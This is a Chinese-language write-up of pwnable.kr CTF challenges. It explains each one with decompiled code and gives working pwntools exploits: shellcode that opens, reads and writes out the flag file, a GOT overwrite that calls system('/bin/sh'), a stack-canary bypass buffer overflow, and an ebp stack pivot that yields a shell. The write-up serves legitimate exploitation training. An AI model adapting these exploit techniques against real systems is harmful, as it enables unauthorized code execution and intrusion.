0x01 codemap
1. 题目描述
I have a binary that has a lot information inside heap.
How fast can you reverse-engineer this?
(hint: see the information inside EAX,EBX when 0x403E65 is executed)
download: http://pwnable.kr/bin/codemap.exe
ssh [email protected] -p2222 (pw:guest)
2. 题目分析
我们直接看IDA反汇编后的代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // esi@3
void *v4; // eax@3
void *v5; // edi@3
int v6; // esi@4
void *v7; // eax@4
void *v8; // ecx@5
unsigned int v9; // eax@8
unsigned int v10; // esi@8
void *v11; // ebx@8
unsigned int v12; // esi@9
void *v14; // [sp+10h] [bp-60h]@0
unsigned int v15; // [sp+14h] [bp-5Ch]@8
unsigned int v16; // [sp+18h] [bp-58h]@1
unsigned int v17; // [sp+1Ch] [bp-54h]@1
char v18[64]; // [sp+20h] [bp-50h]@9
int v19; // [sp+6Ch] [bp-4h]@3
printf("I will make 1000 heap chunks with random size\n");
printf("each heap chunk has a random string\n");
printf("press enter to start the memory allocation\n");
sub_2E40B1();
v17 = 0;
v16 = 0;
srand(0);
while ( 1 )
{
v3 = 10000 * rand() % 1337;
v4 = operator new(8u);
v5 = v4;
v19 = 0;
if ( v4 )
{
*(_DWORD *)v4 = &off_2EF2EC;
v6 = (10000 * v3 >> 1) + 123;
v7 = operator new(8u);
if ( v7 )
{
*((_DWORD *)v7 + 1) = v6;
*((_DWORD *)v5 + 1) = v7;
v8 = v5;
}
else
{
*((_DWORD *)v5 + 1) = 0;
v8 = v5;
}
}
else
{
v8 = 0;
}
v19 = -1;
v9 = (**(int (***)(void))v8)();
v10 = v9 % 100000;
v15 = v9 % 100000;
v11 = malloc(v9 % 100000);
if ( v10 >= 0x10 )
{
qmemcpy(v18, "abcdefghijklmnopqrstubwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890", 63u);
v12 = 0;
do
{
++v12;
*((char *)v11 + v12 - 1) = v18[rand() % 62];
}
while ( v12 < 0xF );
*((_BYTE *)v11 + 15) = 0;
if ( v15 > v17 )
{
v17 = v15;
v14 = v11;
}
}
++v16;
if ( v16 >= 0x3E8 )
break;
srand(v16);
}
printf("the allcated memory size of biggest chunk is %d byte\n", v17);
printf("the string inside that chunk is %s\n", v14);
printf("log in to pwnable.kr and anwer some question to get flag.\n");
sub_2E40B1();
return 0;
}
经过分析我们可以看到,大概就是是随机malloc了1000个chunk,然后为这些chunk随机从
abcdefghijklmnopqrstubwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
中赋值。
题目提示的地址对应以下语句
mov [ebp+var_54], eax
mov [ebp+var_60], ebx
其中eax存的是chunk的大小,ebx存的是chunk的内容
安装IDA_python:
项目地址:https://github.com/idapython
IDA Python手册:https://www.hex-rays.com/products/ida/support/idapython_docs/
1、从http://www.python.org/安装Python 2.7版本。
2、复制安装包内的python目录到%IDADIR%(IDA)目录,%IDADIR%\python
3、复制安装包内的plugins目录到%IDADIR%(IDA)目录,%IDADIR%\plugins
4、复制安装包内的"python.cfg" 到 %IDADIR%\cfg内
快捷键使用:
- 运行IDA脚本文件: (Alt-F7)
- 单行执行Python (Ctrl-F3)
- 查看现有的IDA脚本文件 (Alt+F9)
from idaapi import *
from idc import *
import os
try:
if debugger:
print("Removing previous hook...")
debugger.unhook()
except:
pass
eax_list = list()
ebx_list = list()
AddBpt(0x403e65)
print "[+] breakpoint at 0x403e65..."
StartDebugger("","","")
for i in range(0,998):
GetDebuggerEvent(WFNE_SUSP|WFNE_CONT, -1)
print 'run No. %d' % i
eax = GetRegValue('EAX')
eax_list.append(eax)
ebx = GetRegValue('EBX')
ebx_list.append(ebx)
print '[+] eax max : ',max(eax_list)
index = eax_list.index(max(eax_list))
a = ebx_list[index]
Message("%x"%a)
print "max",GetString(a)
del(eax_list[index])
del(ebx_list[index])
#
print '[+] eax second : ',max(eax_list)
index = eax_list.index(max(eax_list))
a = ebx_list[index]
Message("%x"%a)
print "second",GetString(a)
del(eax_list[index])
del(ebx_list[index])
#
print '[+] eax third : ',max(eax_list)
index = eax_list.index(max(eax_list))
a = ebx_list[index]
Message("%x"%a)
print "third",GetString(a)
del(eax_list[index])
del(ebx_list[index])
使用的时候使用ida加载exe程序后选择debugger,然后alt+f7选择脚本文件执行即可
【参考链接】:
- https://www.cnblogs.com/17bdw/p/7785469.html
0x02 memcpy
按照题目提示输入十组数字,然后发现循环的时候不能走完整个循环,本地编译下,gdb调试可以发现是有汇编的那段,malloc分配空间的时候会有一个对齐操作,也就是说如果输入分配空间的数字不是8或者16的倍数的时候会段错误。
specify the memcpy amount between 8 ~ 16 : 9
specify the memcpy amount between 16 ~ 32 : 17
specify the memcpy amount between 32 ~ 64 : 33
specify the memcpy amount between 64 ~ 128 : 111
specify the memcpy amount between 128 ~ 256 : 133
specify the memcpy amount between 256 ~ 512 : 266
specify the memcpy amount between 512 ~ 1024 : 566
specify the memcpy amount between 1024 ~ 2048 : 1066
specify the memcpy amount between 2048 ~ 4096 : 2066
specify the memcpy amount between 4096 ~ 8192 : 4100
ok, lets run the experiment with your configuration
experiment 1 : memcpy with buffer size 9
ellapsed CPU cycles for slow_memcpy : 1554
ellapsed CPU cycles for fast_memcpy : 666
experiment 2 : memcpy with buffer size 17
ellapsed CPU cycles for slow_memcpy : 339
ellapsed CPU cycles for fast_memcpy : 495
experiment 3 : memcpy with buffer size 33
ellapsed CPU cycles for slow_memcpy : 549
ellapsed CPU cycles for fast_memcpy : 717
experiment 4 : memcpy with buffer size 111
ellapsed CPU cycles for slow_memcpy : 1584
ellapsed CPU cycles for fast_memcpy : 1029
experiment 5 : memcpy with buffer size 133
ellapsed CPU cycles for slow_memcpy : 1890
memcpy@ubuntu:~$
可以看到在到实验5的fast_memcpy的时候程序崩溃了
分配空间的时候,堆块的大小除了用户的数据外还有size以及标志字段,所以实际分配的是
8 * ((data+4)/8 + 1)
(32位)问题出在
movntps m128,XMM
,m128 <== XMM
直接把XMM中的值送入m128,不经过cache,必须对齐16字节.malloc不足8字节的会8字节对齐,所以要求我们输入的大小
mod 16
后的余数大于8或者为0即满足:
if (a+4)%16 == 0 or (a+4)%16 >8:
print a
提交相应的大小后可获得flag.
【参考链接】
- https://toalice.github.io/2017/07/19/Heap1/
- https://www.cnblogs.com/p4nda/p/7162378.html
0x03 ASM
#include
#include
#include
#include
#include
#include
#include
#include
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000); //nop
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
首先使用pwntools
中的disasm
看下stub
:
0: 48 dec eax
1: 31 c0 xor eax,eax
3: 48 dec eax
4: 31 db xor ebx,ebx
6: 48 dec eax
7: 31 c9 xor ecx,ecx
9: 48 dec eax
a: 31 d2 xor edx,edx
c: 48 dec eax
d: 31 f6 xor esi,esi
f: 48 dec eax
10: 31 ff xor edi,edi
12: 48 dec eax
13: 31 ed xor ebp,ebp
15: 4d dec ebp
16: 31 c0 xor eax,eax
18: 4d dec ebp
19: 31 c9 xor ecx,ecx
1b: 4d dec ebp
1c: 31 d2 xor edx,edx
1e: 4d dec ebp
1f: 31 db xor ebx,ebx
21: 4d dec ebp
22: 31 e4 xor esp,esp
24: 4d dec ebp
25: 31 ed xor ebp,ebp
27: 4d dec ebp
28: 31 f6 xor esi,esi
2a: 4d dec ebp
2b: 31 ff xor edi,edi
这是一系列的寄存器清零操作,沙箱限制了我们只能使用有限的几个函数,比如open、write、exit、read。所以我们的思路就是open
打开文件read出来然后write到stdout里边。
from pwn import *
conn = ssh(host="pwnable.kr",user="asm",password="guest",port=2222)
p = conn.connect_remote('localhost',9026)
context(arch="amd64",os="linux",word_size=64)
shellcode = ""
shellcode += shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
print shellcode
print p.recv()
p.send(asm(shellcode))
print p.recvline()
即可得到flag:Mak1ng_shelLcodE_i5_veRy_eaSy
,再说一点其他,汇编中leave,ret.
leave:esp=ebp+8,ebp=[ebp]
ret:eip=[esp],esp=esp+8
pwntools介绍:
- http://blog.csdn.net/gyhgx/article/details/53439417
0x04 brain fuck
brain fuck 是一种语言
字符 | 含义 |
---|---|
> | 指针加一 |
< | 指针减一 |
+ | 指针指向的字节的值加一 |
- | 指针指向的字节的值减一 |
. | 输出指针指向的单元内容(ASCⅡ码) |
, | 输入内容到指针指向的单元(ASCⅡ码) |
[ | 如果指针指向的单元值为零,向后跳转到对应的]指令的次一指令处 |
] | 如果指针指向的单元值不为零,向前跳转到对应的[指令的次一指令处 |
main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@4
int v4; // edx@4
size_t i; // [sp+28h] [bp-40Ch]@1
int v6; // [sp+2Ch] [bp-408h]@1
int v7; // [sp+42Ch] [bp-8h]@1
v7 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(&v6, 0, 0x400u);
fgets((char *)&v6, 1024, stdin);
for ( i = 0; i < strlen((const char *)&v6); ++i )
do_brainfuck(*((_BYTE *)&v6 + i));
result = 0;
v4 = *MK_FP(__GS__, 20) ^ v7;
return result;
}
关键在于do_brainfuck
函数
int __cdecl do_brainfuck(char a1)
{
int result; // eax@1
_BYTE *v2; // ebx@7
result = a1;
switch ( a1 )
{
case 62:
result = p++ + 1;
break;
case 60:
result = p-- - 1;
break;
case 43:
result = p;
++*(_BYTE *)p;
break;
case 45:
result = p;
--*(_BYTE *)p;
break;
case 46:
result = putchar(*(_BYTE *)p);
break;
case 44:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 91:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
通过对p指针的操作以及输入,进行不同的操作。具体的思路就是通过操作p指针,然后可以操作plt表,因为通过ida我们可以看出来tape和plt表离的很近,主要考察GOT覆写技术。
解题脚本:
#!/usr/bin/python
from pwn import *
# context.log_level = 'debug'
# p = process('bf')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('bf_libc.so')
p = remote('pwnable.kr',9001)
def back(n):
return '<'*n
def read(n):
return '.>'*n
def write(n):
return ',>'*n
putchar_got = 0x0804A030
memset_got = 0x0804A02C
fgets_got = 0x0804A010
ptr = 0x0804A0A0
# leak putchar_addr
payload = back(ptr - putchar_got) + '.' + read(4)
# overwrite putchar_got to main_addr
payload += back(4) + write(4)
# overwrite memset_got to gets_addr
payload += back(putchar_got - memset_got + 4) + write(4)
# overwrite fgets_got to system_addr
payload += back(memset_got - fgets_got + 4) + write(4)
# JUMP to main,相当于想要去调用putchar,但是其地址已经被替换成main函数的地址了
payload += '.'
p.recvuntil('[ ]\n')
#gdb.attach(p)
p.sendline(payload)
p.recv(1) # junkcode
putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
system_libc = libc.symbols['system']
putchar = u32(p.recv(4))
log.success("putchar = "+ hex(putchar))
gets = putchar - putchar_libc + gets_libc
log.success("gets = " + hex(gets))
system = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))
main = 0x08048671
log.success("main = " + hex(main))
p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))
p.sendline('//bin/sh\0')
p.interactive()
【参考】:
- http://blog.csdn.net/smalosnail/article/details/53679546
0x05 md5 calculator
64位运行:sudo apt-get install --reinstall libssl1.0.0:i386
//这里计算res的时候使用canary的值,而且会将我们输入的值和给出的验证码进行比对,我们可以根据这个给出的值,计算出栈cookie
// result的计算和当前的时间有关
int my_hash()
{
int result; // eax@4
int v1; // edx@4
signed int i; // [sp+0h] [bp-38h]@1
char v3[32]; // [sp+Ch] [bp-2Ch]@2
int v4; // [sp+2Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v3[4 * i] = rand();
result = *(_DWORD *)&v3[16]
- *(_DWORD *)&v3[24]
+ *(_DWORD *)&v3[28]
+ v4
+ *(_DWORD *)&v3[8]
- *(_DWORD *)&v3[12]
+ *(_DWORD *)&v3[4]
+ *(_DWORD *)&v3[20];
v1 = *MK_FP(__GS__, 20) ^ v4;
return result;
}
//进入ida-f5: 在这个函数中可以看到,g_buf的大小是1024,但是给v4=3分配的大小是0x200,2014字节的数据b64decode后应该是768大小,所以会产生一个溢出
int process_hash()
{
int v0; // ST14_4@3
void *ptr; // ST18_4@3
char v3; // [sp+1Ch] [bp-20Ch]@1
int v4; // [sp+21Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
memset(&v3, 0, 0x200u);
while ( getchar() != 10 );
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(&v3, 0, 0x200u);
v0 = Base64Decode(g_buf, &v3);
ptr = (void *)calc_md5(&v3, v0);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return *MK_FP(__GS__, 20) ^ v4;
}
所以先根据my_hash
函数算出栈的cookies:
#include
#include
int main(int argc, char **argv)
{
int m = atoi(argv[2]);
int rands[8];
srand(atoi(argv[1]));
for (int i = 0; i <= 7; i++) rands[i] = rand();
m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];
printf("%x\n", m);
return 0;
}
然后附上exp:
import os
import time
from pwn import *
p = remote("pwnable.kr", 9002)
t = int(time.time())
print p.recvuntil("captcha")
captcha = p.recvline()
captchapos = captcha.find(' : ')+len(' : ')
captcha = captcha[captchapos:].strip()
p.sendline(captcha)
print p.recvline()
print p.recvline()
cmd = "./hash %s %s" % (t, captcha)
cookie = "0x" + os.popen(cmd).read().strip()
payload = 'A' * 512 # ovrewrite 512 byte for v3
payload += p32(int(cookie, 16))
payload += 'A' * 12
payload += p32(0x08049187) # system
payload += p32(0x0804B0E0 + 537*4/3) # .bss => address of /bin/sh, base64encode的话536会补1byte
payload = b64e(payload)
payload += "/bin/sh\0"
p.sendline(payload)
p.interactive()
由下边的反汇编指令可知:v3(bp-20c)
的大小为512并且和cannary(bp-c)
的值紧邻,因此payload初始构造512字节数据覆盖掉v3,然后为cannary的值,然后此时构造12byte的数据覆盖掉ebx、edi、old ebp
,然后使用system的地址去覆盖掉返回地址,之后程序在call system
函数的时候就去栈顶把/bin/sh\0
字符串取出来作为参数执行,得到shell。
栈布局分析:
---------------------------
低地址
————————— esp-0x220
.......
————————— esp-0x20c (v3的起始地址)
v3(512byte)
————————— ebp-0xc
cannary
————————— esp
ebx
—————————
edi
————————— new ebp
old ebp
—————————
ret_addr
—————————
高地址
----------------------------
public process_hash
process_hash proc near
var_214= dword ptr -214h
ptr= dword ptr -210h
var_20C= byte ptr -20Ch
var_C= dword ptr -0Ch
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 220h
mov eax, large gs:14h
mov [ebp+var_C], eax
xor eax, eax
lea eax, [ebp+var_20C]
mov ebx, eax
mov eax, 0
mov edx, 80h
mov edi, ebx
mov ecx, edx
rep stosd
nop
【参考】:
- http://cncc.bingj.com/cache.aspx?q=pwnable.kr+md5+calculator+&d=4665315478210227&mkt=zh-CN&setlang=zh-CN&w=oWZd1kB2_tBJikFwSX18rIKozQnVhgrv
- https://www.jianshu.com/p/1b895f10193d
- http://weaponx.site/2017/03/03/md5-caculator-Writeup-pwnable-kr/
0x06 simple login
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+18h] [ebp-28h]
char s; // [esp+1Eh] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-4h]
memset(&s, 0, 30u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ");
_isoc99_scanf("%30s", &s);
memset(&input, 0, 12u);
v4 = 0;
v6 = Base64Decode(&s, &v4); // 输入b64decode的之后存入v4,长度存入v6
if ( v6 > 0xC ) // 长度不能超过12
{
puts("Wrong Length");
}
else
{
memcpy(&input, v4, v6); // input = v6
if ( auth(v6) == 1 )
correct();
}
return 0;
}
_BOOL4 __cdecl auth(int a1)
{
char v2; // [esp+14h] [ebp-14h]
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h] // v4的大小是8字节,下边所示代码却向其中写入了12字节
memcpy(&v4, &input, a1); // 这里是溢出点,有4字节的溢出。
s2 = (char *)calc_md5(&v2, 12);
printf("hash : %s\n", (char)s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
- 其中汇编指令
leave
等同于:mov esp ebp; pop ebp
- 其中汇编指令
ret
等同于:pop eip
其中我们能控制的溢出的位置恰好就是ebp的位置,而此auth函数和main最后有
leave;retn
的操作,使用如下exp,退出auth函数的时候,ebp=input(我们输入的字符串的地址),然后main函数退出的时候,leave操作是,esp=input,pop ebp后 ebp=[input],esp = sys_addr, retn执行后 pop eip, eip = sys_addr,然后正好此时在bss段,mov dword ptr [esp], offset aBinSh ; "/bin/sh"
可写入,得到shell.
call system函数的位置
.text:08049284 mov dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B call system
from pwn import *
import base64
def exp():
io = remote('pwnable.kr', 9003)
#io = remote('./login')
raw_input()
io.recvuntil(':')
call_system = 0x08049284
input_addr = 0x811eb40
payload = 'aaaa' + p32(call_system) + p32(input_addr)
io.sendline(base64.b64encode(payload))
io.interactive()
exp()
- http://blog.csdn.net/wangyezi19930928/article/details/16921927 函数调用栈
0x06 otp
本题是通过ulimit限制了进程可以创建文件的最大值,只要限制为0,那么最后的密码一定为空,于是空密码通过,在写脚本时还需要注意的点就是把错误输出重定向到标准输出中。
# 首先有几个知识点:
ulimit 是一个计算机命令,用于shell启动进程所占用的资源,参数形式有-H设置硬资源限制;-S 设置软资源限制;-a 显示当前所有的资源限制等。
-f size:设置创建文件的最大值.单位:blocks
脚本:(写在/tmp/aaa.py下)
import subprocess
subprocess.Popen(['/home/otp/otp', ''], stderr=subprocess.STDOUT)
执行:
otp@ubuntu:~$ ulimit -f 0
otp@ubuntu:~$ python /tmp/aaa.py
- http://python.jobbole.com/81517/ python的subprocess模块
- http://blog.csdn.net/z231288/article/details/65512472